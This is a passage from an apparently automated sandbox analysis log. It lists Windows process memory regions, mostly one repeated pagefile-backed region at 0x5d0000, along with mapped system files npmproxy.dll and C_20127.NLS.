"pagefile_0x00000000005d0000" filename = "" Region: id = 5079 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5080 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5081 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5082 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5083 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5084 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5085 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5086 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5087 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5088 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5089 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5090 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5091 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5092 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5093 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5094 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5095 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5096 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5097 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5098 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5099 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5100 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5101 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5102 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5103 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5104 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5105 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5106 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5107 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5108 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5109 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5110 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5111 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5112 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5113 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5114 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5115 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5116 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5117 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5118 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5119 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5120 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5121 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5122 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5123 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5124 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5125 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5126 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5127 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5128 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5129 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5130 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5152 start_va = 0x74a20000 end_va = 0x74a27fff entry_point = 0x74a22ca6 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 5153 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5154 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5155 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5156 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5157 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5158 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5159 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5160 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5161 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5162 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5163 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5164 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5165 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5166 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5167 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5168 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5169 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5170 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5171 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5172 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5173 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5174 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5175 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5176 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5177 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5178 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5179 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5180 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5181 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5182 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5183 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5184 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5185 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5186 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5187 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5188 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5189 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5190 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5191 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5192 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5193 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5194 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5195 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5196 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5197 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5198 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5199 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5200 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5201 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5202 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5203 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5204 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5205 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5206 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5207 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5208 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5209 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5210 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5211 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5212 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5213 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5214 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5215 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5216 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5237 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5238 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5239 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5240 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5241 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5242 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5243 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5244 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5245 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5246 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5247 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5248 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5249 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5250 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5251 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5252 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5253 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5254 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5255 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5256 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5257 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5258 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5259 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5260 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5261 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5262 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5263 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5264 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5265 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5266 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5267 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5268 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5269 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5270 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5271 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5272 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5273 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5274 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5275 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5276 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5277 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5278 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5279 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5280 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5281 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5282 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5283 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5284 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5285 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5286 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5287 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5288 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5289 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5290 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5291 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5292 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5293 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5294 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5295 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5296 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5297 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5298 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5299 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5300 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5301 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5302 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5303 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5304 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5305 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5306 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5307 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5329 start_va = 0x610000 end_va = 0x620fff entry_point = 0x610000 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 5330 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5331 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5332 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5333 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5334 start_va = 0x5d0000 end_va = 0x5e4fff 